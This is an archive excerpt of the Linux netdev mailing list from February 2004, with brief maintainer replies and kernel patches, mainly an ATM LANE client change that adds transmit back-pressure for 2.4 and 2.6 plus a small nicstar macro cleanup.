Date: Thu, 26 Feb 2004 00:49:30 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [patch 2.4.25 15/15] pcnet32 non-mii link state fix References: <200402252010.i1PKAPr21669@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200402252010.i1PKAPr21669@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3594 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Wed Feb 25 21:53:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:53:31 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5rRKO031575 for ; Wed, 25 Feb 2004 21:53:27 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1061 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwESb-0001Fw-Aq; Thu, 26 Feb 2004 05:53:25 +0000 Message-ID: <403D89C9.5050103@pobox.com> Date: Thu, 26 Feb 2004 00:53:13 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Shmuel Hen CC: "David S. Miller" , linux-netdev , bonding-devel Subject: Re: [PATCH 1/3][bonding 2.4] Add support for HW accel. slaves References: <200402191214.39269.shmulik.hen@intel.com> In-Reply-To: <200402191214.39269.shmulik.hen@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3595 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied all three patches to 2.4 From jgarzik@pobox.com Wed Feb 25 21:55:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:55:03 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5sxKO031873 for ; Wed, 25 Feb 2004 21:55:00 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1062 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwEU6-0001GY-PH; Thu, 26 Feb 2004 05:54:58 +0000 Message-ID: <403D8A27.20703@pobox.com> Date: Thu, 26 Feb 2004 00:54:47 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ganesh Venkatesan , "Feldman, Scott" CC: Stephen Hemminger , netdev@oss.sgi.com Subject: Re: [PATCH] ixgb fixes References: <20040115140248.170a3ee3.shemminger@osdl.org> In-Reply-To: <20040115140248.170a3ee3.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3596 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Stephen Hemminger wrote: > Ixgb driver in 2.6.1 (possibly 2.4) has several problems: > * register_netdev error never handled > * returns -ENOMEM for errors like bad eeprom etc > * keeps copy of device name in the private data structure > which is never used, and would be wrong anyway if > the device was renamed. Hey Intel guys... is this driver alive or dead? Jeff From rddunlap@osdl.org Wed Feb 25 22:03:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 22:03:09 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q631KO032724 for ; Wed, 25 Feb 2004 22:03:03 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1Q62tE27093; Wed, 25 Feb 2004 22:02:56 -0800 Date: Wed, 25 Feb 2004 21:32:29 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: chas@cmf.nrl.navy.mil Subject: [janitor] nicstar: use kernel min/max Message-Id: <20040225213229.66ac8d54.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3597 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.3-current. -- ~Randy From: Michael Veeck Patch (against 2.6.3) removes unnecessary min/max macros and changes calls to use kernel.h macros instead. Feedback is always welcome Michael linux-263-223-kj1-rddunlap/drivers/atm/nicstar.c | 5 +---- 1 files changed, 1 insertion(+), 4 deletions(-) diff -puN drivers/atm/nicstar.c~atm_nicstar_minmax drivers/atm/nicstar.c --- linux-263-223-kj1/drivers/atm/nicstar.c~atm_nicstar_minmax 2004-02-24 11:03:02.000000000 -0800 +++ linux-263-223-kj1-rddunlap/drivers/atm/nicstar.c 2004-02-24 11:03:02.000000000 -0800 @@ -112,9 +112,6 @@ /* Macros *********************************************************************/ -#define MAX(a,b) ((a) > (b) ? (a) : (b)) -#define MIN(a,b) ((a) < (b) ? (a) : (b)) - #define CMD_BUSY(card) (readl((card)->membase + STAT) & NS_STAT_CMDBZ) #define NS_DELAY mdelay(1) @@ -2483,7 +2480,7 @@ static void dequeue_rx(ns_dev *card, ns_ for (j = 1; j < NS_SKB(iovb)->iovcnt; j++) { lb = (struct sk_buff *) iov->iov_base; - tocopy = MIN(remaining, iov->iov_len); + tocopy = min_t(int, remaining, iov->iov_len); memcpy(hb->tail, lb->data, tocopy); skb_put(hb, tocopy); iov++; _ From chas@cmf.nrl.navy.mil Wed Feb 25 23:29:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 23:29:58 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q7TpKO001594 for ; Wed, 25 Feb 2004 23:29:53 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1PNs8g5006332; Wed, 25 Feb 2004 18:54:08 -0500 (EST) Message-Id: <200402252354.i1PNs8g5006332@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lec] put back pressure on network stack Reply-To: chas3@users.sourceforge.net Date: Wed, 25 Feb 2004 18:54:09 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3598 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev backport of similar patch for 2.6. please apply to 2.4 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1355 -> 1.1356 # net/atm/lec.h 1.6 -> 1.7 # net/atm/lec.c 1.22 -> 1.23 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/25 chas@relax.cmf.nrl.navy.mil 1.1356 # [ATM]: [lec] put back pressure on network stack # -------------------------------------------- # diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Wed Feb 25 15:40:52 2004 +++ b/net/atm/lec.c Wed Feb 25 15:40:52 2004 @@ -67,7 +67,7 @@ single destination while waiting for SVC */ static int lec_open(struct net_device *dev); -static int lec_send_packet(struct sk_buff *skb, struct net_device *dev); +static int lec_start_xmit(struct sk_buff *skb, struct net_device *dev); static int lec_close(struct net_device *dev); static struct net_device_stats *lec_get_stats(struct net_device *dev); static void lec_init(struct net_device *dev); @@ -211,26 +211,34 @@ static __inline__ void lec_send(struct atm_vcc *vcc, struct sk_buff *skb, struct lec_priv *priv) { - if (atm_may_send(vcc, skb->len)) { - atomic_add(skb->truesize, &vcc->sk->wmem_alloc); - ATM_SKB(skb)->vcc = vcc; - ATM_SKB(skb)->atm_options = vcc->atm_options; - priv->stats.tx_packets++; - priv->stats.tx_bytes += skb->len; - vcc->send(vcc, skb); - } else { + ATM_SKB(skb)->vcc = vcc; + ATM_SKB(skb)->atm_options = vcc->atm_options; + + atomic_add(skb->truesize, &vcc->sk->wmem_alloc); + if (vcc->send(vcc, skb) < 0) { priv->stats.tx_dropped++; - dev_kfree_skb(skb); + return; } + + priv->stats.tx_packets++; + priv->stats.tx_bytes += skb->len; +} + +static void +lec_tx_timeout(struct net_device *dev) +{ + printk(KERN_INFO "%s: tx timeout\n", dev->name); + dev->trans_start = jiffies; + netif_wake_queue(dev); } static int -lec_send_packet(struct sk_buff *skb, struct net_device *dev) +lec_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct sk_buff *skb2; struct lec_priv *priv = (struct lec_priv *)dev->priv; struct lecdatahdr_8023 *lec_h; - struct atm_vcc *send_vcc; + struct atm_vcc *vcc; struct lec_arp_table *entry; unsigned char *dst; int min_frame_size; @@ -243,7 +251,7 @@ int i=0; #endif /* DUMP_PACKETS >0 */ - DPRINTK("Lec_send_packet called\n"); + DPRINTK("lec_start_xmit called\n"); if (!priv->lecd) { printk("%s:No lecd attached\n",dev->name); priv->stats.tx_errors++; @@ -262,7 +270,7 @@ /* Make sure we have room for lec_id */ if (skb_headroom(skb) < 2) { - DPRINTK("lec_send_packet: reallocating skb\n"); + DPRINTK("lec_start_xmit: reallocating skb\n"); skb2 = skb_realloc_headroom(skb, LEC_HEADER_LEN); kfree_skb(skb); if (skb2 == NULL) return 0; @@ -337,18 +345,18 @@ } #endif entry = NULL; - send_vcc = lec_arp_resolve(priv, dst, is_rdesc, &entry); - DPRINTK("%s:send_vcc:%p vcc_flags:%x, entry:%p\n", dev->name, - send_vcc, send_vcc?send_vcc->flags:0, entry); - if (!send_vcc || !test_bit(ATM_VF_READY,&send_vcc->flags)) { + vcc = lec_arp_resolve(priv, dst, is_rdesc, &entry); + DPRINTK("%s:vcc:%p vcc_flags:%x, entry:%p\n", dev->name, + vcc, vcc?vcc->flags:0, entry); + if (!vcc || !test_bit(ATM_VF_READY,&vcc->flags)) { if (entry && (entry->tx_wait.qlen < LEC_UNRES_QUE_LEN)) { - DPRINTK("%s:lec_send_packet: queuing packet, ", dev->name); + DPRINTK("%s:lec_start_xmit: queuing packet, ", dev->name); DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); skb_queue_tail(&entry->tx_wait, skb); } else { - DPRINTK("%s:lec_send_packet: tx queue full or no arp entry, dropping, ", dev->name); + DPRINTK("%s:lec_start_xmit: tx queue full or no arp entry, dropping, ", dev->name); DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); @@ -360,7 +368,7 @@ #if DUMP_PACKETS > 0 printk("%s:sending to vpi:%d vci:%d\n", dev->name, - send_vcc->vpi, send_vcc->vci); + vcc->vpi, vcc->vci); #endif /* DUMP_PACKETS > 0 */ while (entry && (skb2 = skb_dequeue(&entry->tx_wait))) { @@ -368,14 +376,28 @@ DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); - lec_send(send_vcc, skb2, priv); + lec_send(vcc, skb2, priv); } - lec_send(send_vcc, skb, priv); -#if 0 - /* Should we wait for card's device driver to notify us? */ - dev->tbusy=0; -#endif + lec_send(vcc, skb, priv); + + if (!atm_may_send(vcc, 0)) { + struct lec_vcc_priv *vpriv = LEC_VCC_PRIV(vcc); + + vpriv->xoff = 1; + netif_stop_queue(dev); + + /* + * vcc->pop() might have occurred in between, making + * the vcc usuable again. Since xmit is serialized, + * this is the only situation we have to re-test. + */ + + if (atm_may_send(vcc, 0)) + netif_wake_queue(dev); + } + + dev->trans_start = jiffies; return 0; } @@ -634,7 +656,8 @@ dev->change_mtu = lec_change_mtu; dev->open = lec_open; dev->stop = lec_close; - dev->hard_start_xmit = lec_send_packet; + dev->hard_start_xmit = lec_start_xmit; + dev->tx_timeout = lec_tx_timeout; dev->get_stats = lec_get_stats; dev->set_multicast_list = lec_set_multicast_list; @@ -729,9 +752,30 @@ } } +void +lec_pop(struct atm_vcc *vcc, struct sk_buff *skb) +{ + struct lec_vcc_priv *vpriv = LEC_VCC_PRIV(vcc); + struct net_device *dev = skb->dev; + + if (vpriv == NULL) { + printk("lec_pop(): vpriv = NULL!?!?!?\n"); + return; + } + + vpriv->old_pop(vcc, skb); + + if (vpriv->xoff && atm_may_send(vcc, 0)) { + vpriv->xoff = 0; + if (netif_running(dev) && netif_queue_stopped(dev)) + netif_wake_queue(dev); + } +} + int lec_vcc_attach(struct atm_vcc *vcc, void *arg) { + struct lec_vcc_priv *vpriv; int bytes_left; struct atmlec_ioc ioc_data; @@ -744,6 +788,12 @@ if (ioc_data.dev_num < 0 || ioc_data.dev_num >= MAX_LEC_ITF || !dev_lec[ioc_data.dev_num]) return -EINVAL; + if (!(vpriv = kmalloc(sizeof(struct lec_vcc_priv), GFP_KERNEL))) + return -ENOMEM; + vpriv->xoff = 0; + vpriv->old_pop = vcc->pop; + LEC_VCC_PRIV(vcc) = vpriv; + vcc->pop = lec_pop; lec_vcc_added(dev_lec[ioc_data.dev_num]->priv, &ioc_data, vcc, vcc->push); vcc->push = lec_push; @@ -1080,22 +1130,21 @@ lec_arp_clear_vccs(struct lec_arp_table *entry) { if (entry->vcc) { - entry->vcc->push = entry->old_push; -#if 0 /* August 6, 1998 */ - set_bit(ATM_VF_RELEASED,&entry->vcc->flags); - clear_bit(ATM_VF_READY,&entry->vcc->flags); - entry->vcc->push(entry->vcc, NULL); -#endif - vcc_release_async(entry->vcc, -EPIPE); - entry->vcc = NULL; + struct atm_vcc *vcc = entry->vcc; + struct lec_vcc_priv *vpriv = LEC_VCC_PRIV(vcc); + struct net_device *dev = (struct net_device*) vcc->proto_data; + + vcc->pop = vpriv->old_pop; + if (vpriv->xoff) + netif_wake_queue(dev); + kfree(vpriv); + LEC_VCC_PRIV(vcc) = NULL; + vcc->push = entry->old_push; + vcc_release_async(vcc, -EPIPE); + vcc = NULL; } if (entry->recv_vcc) { entry->recv_vcc->push = entry->old_recv_push; -#if 0 - set_bit(ATM_VF_RELEASED,&entry->recv_vcc->flags); - clear_bit(ATM_VF_READY,&entry->recv_vcc->flags); - entry->recv_vcc->push(entry->recv_vcc, NULL); -#endif vcc_release_async(entry->recv_vcc, -EPIPE); entry->recv_vcc = NULL; } @@ -2037,11 +2086,20 @@ unsigned char mac_addr[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; struct lec_arp_table *to_add; + struct lec_vcc_priv *vpriv; + if (!(vpriv = kmalloc(sizeof(struct lec_vcc_priv), GFP_KERNEL))) + return -ENOMEM; + vpriv->xoff = 0; + vpriv->old_pop = vcc->pop; + LEC_VCC_PRIV(vcc) = vpriv; + vcc->pop = lec_pop; lec_arp_get(priv); to_add = make_entry(priv, mac_addr); if (!to_add) { lec_arp_put(priv); + vcc->pop = vpriv->old_pop; + kfree(vpriv); return -ENOMEM; } memcpy(to_add->atm_addr, vcc->remote.sas_addr.prv, ATM_ESA_LEN); diff -Nru a/net/atm/lec.h b/net/atm/lec.h --- a/net/atm/lec.h Wed Feb 25 15:40:52 2004 +++ b/net/atm/lec.h Wed Feb 25 15:40:52 2004 @@ -147,6 +147,13 @@ int is_trdev; /* Device type, 0 = Ethernet, 1 = TokenRing */ }; +struct lec_vcc_priv { + void (*old_pop)(struct atm_vcc *vcc, struct sk_buff *skb); + int xoff; +}; + +#define LEC_VCC_PRIV(vcc) ((struct lec_vcc_priv *)((vcc)->user_back)) + int lecd_attach(struct atm_vcc *vcc, int arg); int lec_vcc_attach(struct atm_vcc *vcc, void *arg); int lec_mcast_attach(struct atm_vcc *vcc, int arg); From chas@cmf.nrl.navy.mil Wed Feb 25 23:29:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 23:29:59 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q7TpKQ001594 for ; Wed, 25 Feb 2004 23:29:54 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1PNpJg5006282; Wed, 25 Feb 2004 18:51:19 -0500 (EST) Message-Id: <200402252351.i1PNpJg5006282@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lec] put back pressure on network stack Reply-To: chas3@users.sourceforge.net Date: Wed, 25 Feb 2004 18:51:21 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3599 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev the lane client doesnt put back pressure on the network stack when one of the transmit vcc's is full. this can yield spurious results with certain network performance tests. please apply to 2.6 --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1643 -> 1.1644 # net/atm/lec.h 1.7 -> 1.8 # net/atm/lec.c 1.37 -> 1.38 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/25 chas@relax.cmf.nrl.navy.mil 1.1644 # [ATM]: [lec] put back pressure on network stack # -------------------------------------------- # diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Wed Feb 25 15:16:38 2004 +++ b/net/atm/lec.c Wed Feb 25 15:16:38 2004 @@ -67,7 +67,7 @@ single destination while waiting for SVC */ static int lec_open(struct net_device *dev); -static int lec_send_packet(struct sk_buff *skb, struct net_device *dev); +static int lec_start_xmit(struct sk_buff *skb, struct net_device *dev); static int lec_close(struct net_device *dev); static struct net_device_stats *lec_get_stats(struct net_device *dev); static void lec_init(struct net_device *dev); @@ -211,26 +211,34 @@ static __inline__ void lec_send(struct atm_vcc *vcc, struct sk_buff *skb, struct lec_priv *priv) { - if (atm_may_send(vcc, skb->len)) { - atomic_add(skb->truesize, &vcc->sk->sk_wmem_alloc); - ATM_SKB(skb)->vcc = vcc; - ATM_SKB(skb)->atm_options = vcc->atm_options; - priv->stats.tx_packets++; - priv->stats.tx_bytes += skb->len; - vcc->send(vcc, skb); - } else { + ATM_SKB(skb)->vcc = vcc; + ATM_SKB(skb)->atm_options = vcc->atm_options; + + atomic_add(skb->truesize, &vcc->sk->sk_wmem_alloc); + if (vcc->send(vcc, skb) < 0) { priv->stats.tx_dropped++; - dev_kfree_skb(skb); + return; } + + priv->stats.tx_packets++; + priv->stats.tx_bytes += skb->len; +} + +static void +lec_tx_timeout(struct net_device *dev) +{ + printk(KERN_INFO "%s: tx timeout\n", dev->name); + dev->trans_start = jiffies; + netif_wake_queue(dev); } static int -lec_send_packet(struct sk_buff *skb, struct net_device *dev) +lec_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct sk_buff *skb2; struct lec_priv *priv = (struct lec_priv *)dev->priv; struct lecdatahdr_8023 *lec_h; - struct atm_vcc *send_vcc; + struct atm_vcc *vcc; struct lec_arp_table *entry; unsigned char *dst; int min_frame_size; @@ -243,7 +251,7 @@ int i=0; #endif /* DUMP_PACKETS >0 */ - DPRINTK("Lec_send_packet called\n"); + DPRINTK("lec_start_xmit called\n"); if (!priv->lecd) { printk("%s:No lecd attached\n",dev->name); priv->stats.tx_errors++; @@ -262,7 +270,7 @@ /* Make sure we have room for lec_id */ if (skb_headroom(skb) < 2) { - DPRINTK("lec_send_packet: reallocating skb\n"); + DPRINTK("lec_start_xmit: reallocating skb\n"); skb2 = skb_realloc_headroom(skb, LEC_HEADER_LEN); kfree_skb(skb); if (skb2 == NULL) return 0; @@ -337,18 +345,18 @@ } #endif entry = NULL; - send_vcc = lec_arp_resolve(priv, dst, is_rdesc, &entry); - DPRINTK("%s:send_vcc:%p vcc_flags:%x, entry:%p\n", dev->name, - send_vcc, send_vcc?send_vcc->flags:0, entry); - if (!send_vcc || !test_bit(ATM_VF_READY,&send_vcc->flags)) { + vcc = lec_arp_resolve(priv, dst, is_rdesc, &entry); + DPRINTK("%s:vcc:%p vcc_flags:%x, entry:%p\n", dev->name, + vcc, vcc?vcc->flags:0, entry); + if (!vcc || !test_bit(ATM_VF_READY,&vcc->flags)) { if (entry && (entry->tx_wait.qlen < LEC_UNRES_QUE_LEN)) { - DPRINTK("%s:lec_send_packet: queuing packet, ", dev->name); + DPRINTK("%s:lec_start_xmit: queuing packet, ", dev->name); DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); skb_queue_tail(&entry->tx_wait, skb); } else { - DPRINTK("%s:lec_send_packet: tx queue full or no arp entry, dropping, ", dev->name); + DPRINTK("%s:lec_start_xmit: tx queue full or no arp entry, dropping, ", dev->name); DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); @@ -360,7 +368,7 @@ #if DUMP_PACKETS > 0 printk("%s:sending to vpi:%d vci:%d\n", dev->name, - send_vcc->vpi, send_vcc->vci); + vcc->vpi, vcc->vci); #endif /* DUMP_PACKETS > 0 */ while (entry && (skb2 = skb_dequeue(&entry->tx_wait))) { @@ -368,15 +376,28 @@ DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); - lec_send(send_vcc, skb2, priv); + lec_send(vcc, skb2, priv); } - lec_send(send_vcc, skb, priv); + lec_send(vcc, skb, priv); -#if 0 - /* Should we wait for card's device driver to notify us? */ - dev->tbusy=0; -#endif + if (!atm_may_send(vcc, 0)) { + struct lec_vcc_priv *vpriv = LEC_VCC_PRIV(vcc); + + vpriv->xoff = 1; + netif_stop_queue(dev); + + /* + * vcc->pop() might have occurred in between, making + * the vcc usuable again. Since xmit is serialized, + * this is the only situation we have to re-test. + */ + + if (atm_may_send(vcc, 0)) + netif_wake_queue(dev); + } + + dev->trans_start = jiffies; return 0; } @@ -635,7 +656,8 @@ dev->change_mtu = lec_change_mtu; dev->open = lec_open; dev->stop = lec_close; - dev->hard_start_xmit = lec_send_packet; + dev->hard_start_xmit = lec_start_xmit; + dev->tx_timeout = lec_tx_timeout; dev->get_stats = lec_get_stats; dev->set_multicast_list = lec_set_multicast_list; @@ -731,9 +753,30 @@ } } +void +lec_pop(struct atm_vcc *vcc, struct sk_buff *skb) +{ + struct lec_vcc_priv *vpriv = LEC_VCC_PRIV(vcc); + struct net_device *dev = skb->dev; + + if (vpriv == NULL) { + printk("lec_pop(): vpriv = NULL!?!?!?\n"); + return; + } + + vpriv->old_pop(vcc, skb); + + if (vpriv->xoff && atm_may_send(vcc, 0)) { + vpriv->xoff = 0; + if (netif_running(dev) && netif_queue_stopped(dev)) + netif_wake_queue(dev); + } +} + int lec_vcc_attach(struct atm_vcc *vcc, void *arg) { + struct lec_vcc_priv *vpriv; int bytes_left; struct atmlec_ioc ioc_data; @@ -746,6 +789,12 @@ if (ioc_data.dev_num < 0 || ioc_data.dev_num >= MAX_LEC_ITF || !dev_lec[ioc_data.dev_num]) return -EINVAL; + if (!(vpriv = kmalloc(sizeof(struct lec_vcc_priv), GFP_KERNEL))) + return -ENOMEM; + vpriv->xoff = 0; + vpriv->old_pop = vcc->pop; + LEC_VCC_PRIV(vcc) = vpriv; + vcc->pop = lec_pop; lec_vcc_added(dev_lec[ioc_data.dev_num]->priv, &ioc_data, vcc, vcc->push); vcc->push = lec_push; @@ -1363,22 +1412,21 @@ lec_arp_clear_vccs(struct lec_arp_table *entry) { if (entry->vcc) { - entry->vcc->push = entry->old_push; -#if 0 /* August 6, 1998 */ - set_bit(ATM_VF_RELEASED,&entry->vcc->flags); - clear_bit(ATM_VF_READY,&entry->vcc->flags); - entry->vcc->push(entry->vcc, NULL); -#endif - vcc_release_async(entry->vcc, -EPIPE); - entry->vcc = NULL; + struct atm_vcc *vcc = entry->vcc; + struct lec_vcc_priv *vpriv = LEC_VCC_PRIV(vcc); + struct net_device *dev = (struct net_device*) vcc->proto_data; + + vcc->pop = vpriv->old_pop; + if (vpriv->xoff) + netif_wake_queue(dev); + kfree(vpriv); + LEC_VCC_PRIV(vcc) = NULL; + vcc->push = entry->old_push; + vcc_release_async(vcc, -EPIPE); + vcc = NULL; } if (entry->recv_vcc) { entry->recv_vcc->push = entry->old_recv_push; -#if 0 - set_bit(ATM_VF_RELEASED,&entry->recv_vcc->flags); - clear_bit(ATM_VF_READY,&entry->recv_vcc->flags); - entry->recv_vcc->push(entry->recv_vcc, NULL); -#endif vcc_release_async(entry->recv_vcc, -EPIPE); entry->recv_vcc = NULL; } @@ -2320,11 +2368,20 @@ unsigned char mac_addr[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; struct lec_arp_table *to_add; + struct lec_vcc_priv *vpriv; + if (!(vpriv = kmalloc(sizeof(struct lec_vcc_priv), GFP_KERNEL))) + return -ENOMEM; + vpriv->xoff = 0; + vpriv->old_pop = vcc->pop; + LEC_VCC_PRIV(vcc) = vpriv; + vcc->pop = lec_pop; lec_arp_get(priv); to_add = make_entry(priv, mac_addr); if (!to_add) { lec_arp_put(priv); + vcc->pop = vpriv->old_pop; + kfree(vpriv); return -ENOMEM; } memcpy(to_add->atm_addr, vcc->remote.sas_addr.prv, ATM_ESA_LEN); diff -Nru a/net/atm/lec.h b/net/atm/lec.h --- a/net/atm/lec.h Wed Feb 25 15:16:38 2004 +++ b/net/atm/lec.h Wed Feb 25 15:16:38 2004 @@ -139,6 +139,13 @@ int is_trdev; /* Device type, 0 = Ethernet, 1 = TokenRing */ }; +struct lec_vcc_priv { + void (*old_pop)(struct atm_vcc *vcc, struct sk_buff *skb); + int xoff; +}; + +#define LEC_VCC_PRIV(vcc) ((struct lec_vcc_priv *)((vcc)->user_back)) + int lecd_attach(struct atm_vcc *vcc, int arg); int lec_vcc_attach(struct atm_vcc *vcc, void *arg); int lec_mcast_attach(struct atm_vcc *vcc, int arg); From jgarzik@pobox.com Wed Feb 25 23:41:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 23:41:10 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q7f2KO002437 for ; Wed, 25 Feb 2004 23:41:05 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1128 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwG8i-0002Wc-K5; Thu, 26 Feb 2004 07:41:00 +0000 Message-ID: <403DA300.1010005@pobox.com> Date: Thu, 26 Feb 2004 02:40:48 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raghavendra.koushik@wipro.com CC: leonid.grossman@s2io.com, netdev@oss.sgi.com, raghavendra.koushik@s2io.com, ravinandan.arakali@s2io.com Subject: Re: Submission for S2io 10GbE driver References: <4223A04BF7D1B941A25246ADD0462FF50115A824@blr-m3-msg.wipro.com> In-Reply-To: <4223A04BF7D1B941A25246ADD0462FF50115A824@blr-m3-msg.wipro.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3600 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com 